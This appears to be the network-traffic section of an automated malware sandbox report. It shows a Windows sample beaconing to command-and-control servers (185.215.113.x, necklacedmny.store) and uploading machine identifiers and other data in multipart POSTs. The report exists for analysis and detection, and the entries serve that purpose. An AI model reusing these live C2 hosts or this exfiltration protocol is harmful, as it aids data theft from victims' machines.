Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50027	185.215.113.43	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:15:08.988949060 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 1, 2024 12:15:09.892621040 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:15:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50029	185.215.113.206	80	5320	C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:15:10.748203993 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 12:15:11.636303902 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:15:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	188.114.97.3	443	5140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:13:10 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 11:13:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 11:13:10 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c9pmvm427mdamm1fjc6tcp6ear; expires=Tue, 25-Feb-2025 04:59:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X5yXbfR1eSHZxIE%2BxOSPvDnHwzaNQZuC09%2Bj7OMVEOV%2BPpBTyL2A18n2305n4REl6AVFicQuGhBhGeb2Bv05VKeLgMEjLEwCAwPJa%2Bxm27AgUumL7i%2FSF1aVfZyNVikkeyF0or8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb7438588e6b7f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1857&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1588590&cwnd=244&unsent_bytes=0&cid=71c5f5102037e48a&ts=588&x=0"
2024-11-01 11:13:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 11:13:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	188.114.97.3	443	5140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:13:12 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 11:13:12 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 11:13:13 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:13:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m8514uobbiu7e8fvd75fjagggs; expires=Tue, 25-Feb-2025 04:59:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xOFs7FaJAqefPwYgkBRXVmEP7W600KEEdPkl27bpm0mKcqqW4r2DiSEYtceu2I5dpPXUYN4xxXP2CkVdJ%2FZQ%2B0TeGLm4uzYctDlYYPZvVGkvm3hVievMQPf%2FEyhLnwKezY8FsdQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb74472acb2fd4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1399&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2212375&cwnd=251&unsent_bytes=0&cid=a4fc8c3da8751731&ts=836&x=0"
2024-11-01 11:13:13 UTC	356	IN	Data Raw: 34 34 36 63 0d 0a 73 6d 67 4d 69 5a 51 62 56 77 6d 6e 46 30 64 51 45 57 7a 51 6d 4a 6d 38 54 61 66 66 53 41 31 64 72 72 7a 37 37 6d 75 33 30 57 66 4a 53 6e 71 72 72 69 39 37 4b 39 52 79 5a 57 70 6c 48 71 58 39 74 5a 34 73 77 2f 31 79 61 7a 7a 43 7a 35 37 43 53 63 47 38 52 59 67 4f 62 65 58 6e 66 6e 73 72 77 6d 39 6c 61 6b 6f 58 38 76 33 33 6e 6e 65 46 75 69 4a 76 50 4d 4c 65 6d 6f 55 45 78 37 30 45 32 67 52 72 34 66 46 34 4d 32 6a 4c 65 69 49 31 64 41 32 36 39 76 44 52 4a 63 72 39 5a 43 38 34 31 4a 37 42 7a 43 62 53 70 51 62 2f 43 58 2f 69 74 6d 5a 37 63 6f 56 79 4b 58 49 72 54 72 48 39 2b 39 41 72 77 37 51 67 5a 54 58 4b 33 35 2b 45 47 39 36 33 44 39 6f 4b 61 4f 44 37 63 53 64 6c 77 58 30 70 4d 33 34 4e 38 72 53 37 32 54 65 46 35 57 6f 38 44 63 2f 50 69 Data Ascii: 446csmgMiZQbVwmnF0dQEWzQmJm8TaffSA1drrz77mu30WfJSnqrri97K9RyZWplHqX9tZ4sw/1yazzCz57CScG8RYgObeXnfnsrwm9lakoX8v33nneFuiJvPMLemoUEx70E2gRr4fF4M2jLeiI1dA269vDRJcr9ZC841J7BzCbSpQb/CX/itmZ7coVyKXIrTrH9+9Arw7QgZTXK35+EG963D9oKaOD7cSdlwX0pM34N8rS72TeF5Wo8Dc/Pi
2024-11-01 11:13:13 UTC	1369	IN	Data Raw: 56 35 7a 58 34 75 4e 32 45 46 75 2f 66 32 33 69 4c 50 73 69 6c 76 4f 4d 62 55 6c 6f 59 4e 32 4c 34 44 30 41 6f 75 70 62 5a 2b 4c 53 75 64 4e 51 59 33 59 77 6d 2b 37 4c 6e 6b 62 39 72 7a 4d 79 38 34 77 4a 37 42 7a 41 48 51 73 41 62 62 42 57 33 6a 2f 57 73 31 65 63 4e 34 49 43 42 31 43 37 7a 77 2b 4d 77 6c 79 37 73 70 5a 6a 54 46 32 35 36 49 53 5a 76 7a 41 73 68 4b 4e 71 76 58 64 44 35 6e 7a 32 49 6c 63 6d 78 41 71 37 72 38 30 6d 2b 64 2f 53 35 75 4f 38 33 61 6c 34 49 4e 32 62 55 4c 33 51 56 6f 34 66 5a 2b 50 32 50 4e 64 43 67 35 66 41 36 33 39 2f 2f 59 49 38 53 34 61 69 46 2f 79 38 62 5a 31 45 6e 37 74 41 62 43 53 46 76 6f 2b 48 63 79 66 59 56 71 61 79 73 7a 43 62 36 36 6f 35 34 68 77 4c 49 34 62 69 33 4a 30 49 75 41 44 4e 4f 2b 42 74 34 4b 61 2b 7a 37 64 Data Ascii: V5zX4uN2EFu/f23iLPsilvOMbUloYN2L4D0AoupbZ+LSudNQY3Ywm+7Lnkb9rzMy84wJ7BzAHQsAbbBW3j/Ws1ecN4ICB1C7zw+Mwly7spZjTF256ISZvzAshKNqvXdD5nz2IlcmxAq7r80m+d/S5uO83al4IN2bUL3QVo4fZ+P2PNdCg5fA639//YI8S4aiF/y8bZ1En7tAbCSFvo+HcyfYVqayszCb66o54hwLI4bi3J0IuADNO+Bt4Ka+z7d
2024-11-01 11:13:13 UTC	1369	IN	Data Raw: 71 61 79 73 7a 43 62 36 36 6f 35 34 6a 7a 4c 30 68 5a 54 76 4d 32 5a 53 4a 43 74 4b 77 43 4e 63 41 59 4f 7a 79 64 54 78 6d 77 33 55 69 4e 6e 59 63 74 2f 50 33 30 6d 2b 4c 2f 53 31 33 66 35 53 65 74 6f 73 66 31 70 77 47 77 51 4d 75 39 4c 68 67 64 57 7a 4a 4e 58 31 79 64 41 75 36 38 66 33 57 4c 39 65 34 4a 47 51 2b 78 74 69 59 67 51 58 54 73 77 54 51 44 47 4c 72 38 58 34 6e 65 63 42 7a 4e 7a 67 7a 51 50 4c 39 34 35 35 33 68 59 73 36 65 43 37 61 6e 4b 79 50 42 39 75 30 45 35 41 56 49 50 4b 32 66 6a 6b 72 6e 54 55 75 4d 6e 38 4a 75 76 7a 2f 31 69 44 4b 74 44 68 75 4d 38 4c 4d 6e 6f 77 41 32 37 77 4a 32 51 64 70 35 76 31 7a 4f 47 2f 43 64 47 56 38 4d 77 6d 71 75 71 4f 65 47 64 57 77 4a 6b 45 30 77 4e 66 5a 6b 30 66 4d 38 77 4c 63 53 6a 61 72 38 6e 55 39 59 63 Data Ascii: qayszCb66o54jzL0hZTvM2ZSJCtKwCNcAYOzydTxmw3UiNnYct/P30m+L/S13f5Setosf1pwGwQMu9LhgdWzJNX1ydAu68f3WL9e4JGQ+xtiYgQXTswTQDGLr8X4necBzNzgzQPL94553hYs6eC7anKyPB9u0E5AVIPK2fjkrnTUuMn8Juvz/1iDKtDhuM8LMnowA27wJ2Qdp5v1zOG/CdGV8MwmquqOeGdWwJkE0wNfZk0fM8wLcSjar8nU9Yc
2024-11-01 11:13:13 UTC	1369	IN	Data Raw: 64 77 6d 32 2f 50 53 65 59 59 57 36 4d 69 39 6e 6a 50 47 2b 75 55 76 30 69 55 58 50 52 48 65 72 38 58 56 31 4d 34 56 35 4a 6a 35 37 41 62 54 7a 39 39 51 6d 7a 72 45 68 61 7a 50 46 32 35 2b 4e 44 4e 43 79 41 64 77 41 61 4f 6a 31 64 6a 70 6b 7a 54 56 72 63 6e 51 57 38 71 4b 37 2b 7a 6a 4f 73 79 77 76 49 49 4c 48 32 59 73 46 6c 65 74 46 33 41 4e 6f 37 66 4e 31 4e 47 33 4e 63 43 30 32 63 67 69 30 2b 66 54 61 4b 73 53 79 4c 6d 4d 78 78 74 2b 59 67 41 4c 61 75 41 43 51 52 43 37 73 37 6a 6c 74 4b 2f 52 32 4d 79 56 6a 41 76 4c 6c 74 63 64 76 77 72 46 71 4e 33 2f 4e 7a 4a 4f 47 42 39 43 38 41 4e 4d 46 61 65 62 77 64 54 39 69 7a 58 4d 71 4f 32 45 4e 76 76 54 38 30 43 50 4c 73 43 42 73 4d 6f 79 51 32 59 73 52 6c 65 74 46 2f 41 31 6a 78 66 31 31 4d 69 76 61 4f 7a 78 Data Ascii: dwm2/PSeYYW6Mi9njPG+uUv0iUXPRHer8XV1M4V5Jj57AbTz99QmzrEhazPF25+NDNCyAdwAaOj1djpkzTVrcnQW8qK7+zjOsywvIILH2YsFletF3ANo7fN1NG3NcC02cgi0+fTaKsSyLmMxxt+YgALauACQRC7s7jltK/R2MyVjAvLltcdvwrFqN3/NzJOGB9C8ANMFaebwdT9izXMqO2ENvvT80CPLsCBsMoyQ2YsRletF/A1jxf11MivaOzx
2024-11-01 11:13:13 UTC	1369	IN	Data Raw: 65 4b 37 68 6d 2f 7a 75 6a 70 2f 50 49 37 76 6a 34 38 66 33 72 34 4a 6b 42 55 67 38 72 5a 2b 4f 53 75 64 4e 53 4d 39 65 67 32 39 2b 2f 4c 53 49 73 43 30 4c 32 34 35 79 4e 53 54 6a 41 2f 54 73 67 44 61 43 57 2f 68 2f 33 34 39 62 4d 5a 6e 5a 58 77 7a 43 61 71 36 6f 35 34 47 77 71 38 6b 66 33 2f 54 6b 49 44 4d 44 74 6e 7a 58 5a 41 4f 5a 4f 54 79 66 6a 6c 74 77 48 4d 6f 4d 33 77 50 73 76 58 2f 31 53 62 44 76 43 64 71 4d 73 6a 4d 6b 34 63 47 32 62 6f 4a 33 55 6f 67 71 2f 46 68 64 54 4f 46 52 43 67 38 66 51 6d 6b 75 75 53 51 4e 6f 57 36 4a 69 39 6e 6a 4e 2b 56 67 77 72 61 73 41 62 52 41 48 7a 35 2b 6e 41 39 62 73 6c 2b 4b 7a 52 68 43 4c 33 7a 2b 4e 30 6d 77 72 55 6d 5a 54 7a 4c 6e 74 66 4d 44 73 33 7a 58 5a 41 70 65 66 76 37 4f 53 6f 6c 33 44 55 69 50 6a 4e 57 Data Ascii: eK7hm/zujp/PI7vj48f3r4JkBUg8rZ+OSudNSM9eg29+/LSIsC0L245yNSTjA/TsgDaCW/h/349bMZnZXwzCaq6o54Gwq8kf3/TkIDMDtnzXZAOZOTyfjltwHMoM3wPsvX/1SbDvCdqMsjMk4cG2boJ3Uogq/FhdTOFRCg8fQmkuuSQNoW6Ji9njN+VgwrasAbRAHz5+nA9bsl+KzRhCL3z+N0mwrUmZTzLntfMDs3zXZApefv7OSol3DUiPjNW
2024-11-01 11:13:13 UTC	1369	IN	Data Raw: 73 70 79 72 49 6a 5a 6a 76 45 33 5a 6d 49 44 64 4b 32 42 74 77 42 61 65 6a 35 66 54 78 6c 7a 48 70 6c 66 44 4d 4a 71 72 71 6a 6e 67 37 65 76 69 5a 69 66 39 4f 51 67 4d 77 4f 32 66 4e 64 6b 41 5a 67 37 76 5a 7a 4d 32 2f 41 63 79 38 33 63 77 57 78 39 66 2f 59 4b 38 71 39 49 57 59 2b 79 74 75 54 68 77 2f 59 73 41 50 57 53 69 43 72 38 57 46 31 4d 34 56 56 50 6a 39 2f 43 66 4c 6c 74 63 64 76 77 72 46 71 4e 33 2f 48 30 70 32 4c 43 64 69 77 44 64 55 4f 5a 4f 37 32 63 53 64 6a 78 58 49 33 49 48 4d 48 74 2f 62 34 33 69 76 44 74 43 78 73 4f 34 79 51 32 59 73 52 6c 65 74 46 2f 51 5a 70 77 76 46 69 64 58 53 4c 62 47 55 31 66 30 37 71 75 76 72 56 4a 63 71 77 4b 57 6b 38 78 39 75 54 6a 51 37 64 76 68 66 54 42 57 48 76 39 6e 59 7a 62 63 52 36 49 7a 56 36 44 37 72 39 75 Data Ascii: spyrIjZjvE3ZmIDdK2BtwBaej5fTxlzHplfDMJqrqjng7eviZif9OQgMwO2fNdkAZg7vZzM2/Acy83cwWx9f/YK8q9IWY+ytuThw/YsAPWSiCr8WF1M4VVPj9/CfLltcdvwrFqN3/H0p2LCdiwDdUOZO72cSdjxXI3IHMHt/b43ivDtCxsO4yQ2YsRletF/QZpwvFidXSLbGU1f07quvrVJcqwKWk8x9uTjQ7dvhfTBWHv9nYzbcR6IzV6D7r9u
2024-11-01 11:13:13 UTC	1369	IN	Data Raw: 61 50 47 55 34 33 4e 6d 4f 67 30 6d 62 38 77 71 51 55 6c 65 72 2f 33 34 75 65 74 4e 34 4e 54 55 7a 4d 66 79 36 34 35 35 33 68 59 67 70 59 54 48 4c 79 49 6a 42 4c 73 4f 35 41 73 41 4e 65 65 53 32 4e 33 56 74 68 53 31 32 66 44 4d 4b 6f 37 71 6a 6a 6e 32 65 36 48 6b 34 62 35 37 42 31 35 56 4a 77 2f 4e 64 67 6b 51 75 2b 62 59 68 64 53 7a 47 5a 7a 63 30 63 42 69 78 76 63 58 67 43 4e 2b 77 4c 48 67 75 38 75 43 65 6c 67 54 54 70 42 53 63 48 32 33 6c 2b 48 34 6a 4b 34 73 31 4b 6e 49 72 4e 2f 4b 79 75 2b 46 68 68 61 56 71 4e 33 2f 35 33 5a 65 43 44 73 4f 69 53 50 63 51 59 2b 33 68 61 48 55 6c 68 58 4e 6c 61 69 4e 41 38 76 37 71 6e 6e 65 56 37 33 45 36 62 4a 75 4f 79 35 4e 48 7a 50 4d 54 6b 46 49 38 70 62 5a 72 64 54 4f 46 4d 69 59 67 59 51 69 78 37 50 69 5a 45 66 Data Ascii: aPGU43NmOg0mb8wqQUler/34uetN4NTUzMfy64553hYgpYTHLyIjBLsO5AsANeeS2N3VthS12fDMKo7qjjn2e6Hk4b57B15VJw/NdgkQu+bYhdSzGZzc0cBixvcXgCN+wLHgu8uCelgTTpBScH23l+H4jK4s1KnIrN/Kyu+FhhaVqN3/53ZeCDsOiSPcQY+3haHUlhXNlaiNA8v7qnneV73E6bJuOy5NHzPMTkFI8pbZrdTOFMiYgYQix7PiZEf
2024-11-01 11:13:13 UTC	1369	IN	Data Raw: 43 73 2f 51 6c 34 73 66 78 50 34 69 33 67 31 76 2f 65 5a 75 4f 69 75 4c 4e 53 4e 79 4b 31 7a 38 75 76 2f 50 62 35 33 74 65 44 52 71 6e 34 6e 4a 33 68 61 62 71 6b 58 47 53 6a 61 35 75 44 6b 6e 4b 35 30 31 59 6a 46 68 48 4c 54 35 37 64 31 6f 2b 34 4d 4e 59 54 6a 4e 79 49 6d 62 42 70 71 64 4d 2f 45 30 55 50 37 31 64 7a 74 73 30 32 52 6c 66 44 4d 42 38 71 4c 43 6e 6d 65 46 67 6d 51 76 4a 34 79 47 32 62 6b 4b 32 37 30 43 78 68 73 6a 7a 50 68 2b 4e 48 33 56 59 69 70 39 58 54 69 54 75 72 57 65 4b 59 58 6c 65 43 46 2f 79 4d 2f 5a 31 46 6d 48 36 46 43 44 58 54 36 35 36 54 63 73 4b 39 4d 31 66 57 41 39 54 71 43 36 6f 35 35 6f 78 71 38 34 61 54 7a 61 33 64 36 79 4e 2f 4b 39 41 74 45 63 66 75 62 36 57 44 5a 36 7a 30 73 62 4a 33 41 41 76 50 33 74 7a 32 2b 4c 2f 53 55 Data Ascii: Cs/Ql4sfxP4i3g1v/eZuOiuLNSNyK1z8uv/Pb53teDRqn4nJ3habqkXGSja5uDknK501YjFhHLT57d1o+4MNYTjNyImbBpqdM/E0UP71dzts02RlfDMB8qLCnmeFgmQvJ4yG2bkK270CxhsjzPh+NH3VYip9XTiTurWeKYXleCF/yM/Z1FmH6FCDXT656TcsK9M1fWA9TqC6o55oxq84aTza3d6yN/K9AtEcfub6WDZ6z0sbJ3AAvP3tz2+L/SU
2024-11-01 11:13:13 UTC	1369	IN	Data Raw: 49 79 50 47 64 4b 4e 4f 2f 30 59 61 66 76 31 4f 78 6c 73 79 48 6b 62 44 45 51 66 74 65 71 35 2b 43 7a 54 76 6d 6f 68 66 39 53 65 77 63 77 6b 78 37 51 56 30 30 68 43 37 50 74 31 64 58 53 4c 62 47 55 6b 4d 31 62 68 74 4c 76 4d 62 35 33 39 62 57 77 74 33 74 69 61 6d 67 71 53 6a 54 76 39 47 47 6e 37 39 54 73 45 5a 73 46 6a 4d 44 46 6a 43 59 7a 45 31 73 77 6f 31 62 35 6f 53 67 57 4f 37 34 2b 50 43 64 75 30 52 5a 35 4b 64 71 75 75 4f 52 68 35 77 6d 55 6d 63 46 59 30 38 4d 76 74 33 53 2f 4c 75 6d 70 77 63 64 57 65 6a 38 78 52 68 76 31 46 77 6b 6f 32 71 37 46 33 4f 47 72 47 65 79 59 67 59 51 69 78 37 50 69 5a 45 66 75 53 49 57 34 76 77 63 2b 55 69 42 2f 72 6a 53 4c 57 44 32 6e 56 79 45 34 6b 62 4e 55 33 41 7a 46 6c 44 66 4b 30 75 38 5a 76 6e 66 30 4e 61 54 72 4c Data Ascii: IyPGdKNO/0Yafv1OxlsyHkbDEQfteq5+CzTvmohf9Sewcwkx7QV00hC7Pt1dXSLbGUkM1bhtLvMb539bWwt3tiamgqSjTv9GGn79TsEZsFjMDFjCYzE1swo1b5oSgWO74+PCdu0RZ5KdquuORh5wmUmcFY08Mvt3S/LumpwcdWej8xRhv1Fwko2q7F3OGrGeyYgYQix7PiZEfuSIW4vwc+UiB/rjSLWD2nVyE4kbNU3AzFlDfK0u8Zvnf0NaTrL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	188.114.97.3	443	5140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:13:14 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-11-01 11:13:14 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:13:14 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:13:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m9odp4cld08jsukrqq8sui7cfa; expires=Tue, 25-Feb-2025 04:59:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wigigzmReViONHmqI4Zz9T58ddQzl4CA3zjjYQg7AdPTiQKji4pfGm3KCeIUSgolRya0dlemQTH%2B%2Fr7TC7FlriLpgwYno3%2ByMaG2cA%2F1l76NPD1%2F9C3YDccq3Wx%2B%2BvVWhyW4gXQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb744f4966286f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1349&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13791&delivery_rate=2106181&cwnd=221&unsent_bytes=0&cid=907f4b353ba0c97e&ts=504&x=0"
2024-11-01 11:13:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:13:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49710	188.114.97.3	443	5140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:13:16 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-11-01 11:13:16 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:13:17 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:13:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ci1ajd33cco3qm7kt91fciaeju; expires=Tue, 25-Feb-2025 04:59:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jvU8Ag3GPXSc0KuJrO9E3OQUSAFDrMlR01BY%2BpKq3wTWv7kmr64axEjgRl4ur9p8cQr%2FixPyMMvk1HSEkCCbbFdYqDb33cdwNCo%2BpuKsJD2NHbeQsTYNb%2BFv1PuBJ3IDeH6cQD4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb745f5b9e46a1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1135&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16023&delivery_rate=2466780&cwnd=251&unsent_bytes=0&cid=15d76d940d2a5ff5&ts=576&x=0"
2024-11-01 11:13:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:13:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49719	188.114.97.3	443	5140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
